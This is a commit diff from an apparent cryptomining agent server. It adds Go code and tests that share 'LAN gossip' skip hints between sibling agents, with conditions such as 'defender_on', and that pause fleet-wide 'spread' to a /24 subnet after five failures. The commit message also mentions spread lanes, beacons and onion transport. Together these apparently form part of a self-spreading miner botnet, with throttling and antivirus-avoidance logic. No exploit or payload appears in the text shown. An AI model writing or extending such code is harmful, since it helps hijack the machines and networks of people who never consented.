Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
88
server/internal/atlas/lan_gossip.go
Normal file
88
server/internal/atlas/lan_gossip.go
Normal file
@@ -0,0 +1,88 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/strategy"
|
||||
)
|
||||
|
||||
// GossipHint is one negative-knowledge skip shared between LAN siblings.
|
||||
type GossipHint struct {
|
||||
Tier string `json:"tier"`
|
||||
Condition string `json:"condition"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
}
|
||||
|
||||
// SubnetPrefix returns the /24 (IPv4) or /48-ish (IPv6) prefix used for LAN sibling matching.
|
||||
func SubnetPrefix(ip string) string {
|
||||
return strategy.FingerprintFromAuth("", ip, false).Subnet
|
||||
}
|
||||
|
||||
// NormalizeGossipHint trims and validates one gossip hint.
|
||||
func NormalizeGossipHint(h GossipHint) (GossipHint, bool) {
|
||||
h.Tier = strings.TrimSpace(h.Tier)
|
||||
h.Condition = strings.TrimSpace(h.Condition)
|
||||
h.Reason = strings.TrimSpace(h.Reason)
|
||||
if h.Tier == "" || h.Condition == "" {
|
||||
return GossipHint{}, false
|
||||
}
|
||||
if h.Reason == "" {
|
||||
h.Reason = "lan gossip"
|
||||
}
|
||||
return h, true
|
||||
}
|
||||
|
||||
// NormalizeGossipHints drops invalid hints while preserving order.
|
||||
func NormalizeGossipHints(in []GossipHint) []GossipHint {
|
||||
if len(in) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]GossipHint, 0, len(in))
|
||||
for _, h := range in {
|
||||
if norm, ok := NormalizeGossipHint(h); ok {
|
||||
out = append(out, norm)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// SkipsFromHints converts gossip hints to atlas skips for agent merge.
|
||||
func SkipsFromHints(hints []GossipHint) []AtlasSkip {
|
||||
out := make([]AtlasSkip, 0, len(hints))
|
||||
for _, h := range hints {
|
||||
if norm, ok := NormalizeGossipHint(h); ok {
|
||||
out = append(out, AtlasSkip{
|
||||
Tier: norm.Tier,
|
||||
Condition: norm.Condition,
|
||||
Reason: norm.Reason,
|
||||
})
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// MergeGossipSkips merges incoming LAN hints into existing skips without duplicates.
|
||||
func MergeGossipSkips(existing []AtlasSkip, incoming []GossipHint) []AtlasSkip {
|
||||
hints := NormalizeGossipHints(incoming)
|
||||
if len(hints) == 0 {
|
||||
return existing
|
||||
}
|
||||
have := make(map[string]bool, len(existing)+len(hints))
|
||||
out := append([]AtlasSkip(nil), existing...)
|
||||
for _, s := range existing {
|
||||
have[s.Tier+"|"+s.Condition] = true
|
||||
}
|
||||
for _, h := range hints {
|
||||
key := h.Tier + "|" + h.Condition
|
||||
if have[key] {
|
||||
continue
|
||||
}
|
||||
have[key] = true
|
||||
out = append(out, AtlasSkip{
|
||||
Tier: h.Tier,
|
||||
Condition: h.Condition,
|
||||
Reason: h.Reason,
|
||||
})
|
||||
}
|
||||
return out
|
||||
}
|
||||
43
server/internal/atlas/lan_gossip_test.go
Normal file
43
server/internal/atlas/lan_gossip_test.go
Normal file
@@ -0,0 +1,43 @@
|
||||
package atlas
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSubnetPrefixIPv4(t *testing.T) {
|
||||
if got := SubnetPrefix("192.168.1.42"); got != "192.168.1" {
|
||||
t.Fatalf("SubnetPrefix = %q", got)
|
||||
}
|
||||
if got := SubnetPrefix("192.168.1.42:12345"); got != "192.168.1" {
|
||||
t.Fatalf("SubnetPrefix host:port = %q", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeGossipHints(t *testing.T) {
|
||||
hints := NormalizeGossipHints([]GossipHint{
|
||||
{Tier: " docker ", Condition: "no_docker", Reason: "blocked"},
|
||||
{Tier: "", Condition: "x"},
|
||||
{Tier: "wsl", Condition: "defender_on"},
|
||||
})
|
||||
if len(hints) != 2 {
|
||||
t.Fatalf("want 2 hints, got %+v", hints)
|
||||
}
|
||||
if hints[0].Tier != "docker" || hints[0].Reason != "blocked" {
|
||||
t.Fatalf("first hint = %+v", hints[0])
|
||||
}
|
||||
if hints[1].Reason != "lan gossip" {
|
||||
t.Fatalf("default reason = %q", hints[1].Reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMergeGossipSkipsDedupes(t *testing.T) {
|
||||
existing := []AtlasSkip{{Tier: "docker", Condition: "no_docker", Reason: "fleet"}}
|
||||
merged := MergeGossipSkips(existing, []GossipHint{
|
||||
{Tier: "docker", Condition: "no_docker", Reason: "lan"},
|
||||
{Tier: "wsl", Condition: "defender_on", Reason: "lan"},
|
||||
})
|
||||
if len(merged) != 2 {
|
||||
t.Fatalf("merged = %+v", merged)
|
||||
}
|
||||
if merged[1].Tier != "wsl" {
|
||||
t.Fatalf("second skip = %+v", merged[1])
|
||||
}
|
||||
}
|
||||
74
server/internal/atlas/subnet_immune.go
Normal file
74
server/internal/atlas/subnet_immune.go
Normal file
@@ -0,0 +1,74 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
const (
|
||||
SubnetSpreadFailureThreshold = 5
|
||||
SubnetSpreadPauseDuration = 24 * time.Hour
|
||||
)
|
||||
|
||||
// SubnetImmune applies fleet-wide /24 spread pause after repeated failures.
|
||||
type SubnetImmune struct {
|
||||
db *db.Database
|
||||
}
|
||||
|
||||
func NewSubnetImmune(database *db.Database) *SubnetImmune {
|
||||
return &SubnetImmune{db: database}
|
||||
}
|
||||
|
||||
// PrefixFromHostOrIP normalizes a host IP or subnet label to a /24 prefix key.
|
||||
func PrefixFromHostOrIP(hostOrSubnet string) string {
|
||||
return SubnetPrefix(hostOrSubnet)
|
||||
}
|
||||
|
||||
// RecordSpreadFailure increments subnet failure count; returns true when pause activates.
|
||||
func (s *SubnetImmune) RecordSpreadFailure(hostOrSubnet string) (bool, error) {
|
||||
if s == nil || s.db == nil {
|
||||
return false, nil
|
||||
}
|
||||
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
||||
if prefix == "" {
|
||||
return false, nil
|
||||
}
|
||||
return s.db.RecordSubnetSpreadFailure(prefix)
|
||||
}
|
||||
|
||||
// IsSpreadPaused reports whether spread commands targeting prefix should be blocked.
|
||||
func (s *SubnetImmune) IsSpreadPaused(hostOrSubnet string) (bool, error) {
|
||||
if s == nil || s.db == nil {
|
||||
return false, nil
|
||||
}
|
||||
prefix := PrefixFromHostOrIP(hostOrSubnet)
|
||||
if prefix == "" {
|
||||
return false, nil
|
||||
}
|
||||
return s.db.IsSubnetSpreadPaused(prefix)
|
||||
}
|
||||
|
||||
// SpreadActionBlocked returns an error when prefix is under immune pause.
|
||||
func (s *SubnetImmune) SpreadActionBlocked(hostOrSubnet string) error {
|
||||
paused, err := s.IsSpreadPaused(hostOrSubnet)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if paused {
|
||||
return &SpreadPauseError{Prefix: PrefixFromHostOrIP(hostOrSubnet)}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// SpreadPauseError is returned when a /24 is under subnet immune response.
|
||||
type SpreadPauseError struct {
|
||||
Prefix string
|
||||
}
|
||||
|
||||
func (e *SpreadPauseError) Error() string {
|
||||
if e == nil || e.Prefix == "" {
|
||||
return "subnet spread paused (immune response)"
|
||||
}
|
||||
return "subnet " + e.Prefix + " spread paused for 24h (immune response)"
|
||||
}
|
||||
45
server/internal/atlas/subnet_immune_test.go
Normal file
45
server/internal/atlas/subnet_immune_test.go
Normal file
@@ -0,0 +1,45 @@
|
||||
package atlas
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestSubnetImmunePauseAfterFiveFailures(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
defer database.Close()
|
||||
|
||||
immune := NewSubnetImmune(database)
|
||||
host := "10.0.0.55"
|
||||
for i := 0; i < 4; i++ {
|
||||
paused, err := immune.RecordSpreadFailure(host)
|
||||
if err != nil || paused {
|
||||
t.Fatalf("iteration %d paused=%v err=%v", i, paused, err)
|
||||
}
|
||||
}
|
||||
paused, err := immune.RecordSpreadFailure(host)
|
||||
if err != nil || !paused {
|
||||
t.Fatalf("expected pause, paused=%v err=%v", paused, err)
|
||||
}
|
||||
blocked, err := immune.IsSpreadPaused(host)
|
||||
if err != nil || !blocked {
|
||||
t.Fatalf("blocked=%v err=%v", blocked, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpreadActionBlockedError(t *testing.T) {
|
||||
immune := NewSubnetImmune(nil)
|
||||
if err := immune.SpreadActionBlocked("10.0.0.1"); err != nil {
|
||||
t.Fatalf("nil db should not block: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrefixFromHostOrIP(t *testing.T) {
|
||||
if got := PrefixFromHostOrIP("172.16.5.9"); got != "172.16.5" {
|
||||
t.Fatalf("prefix=%q", got)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user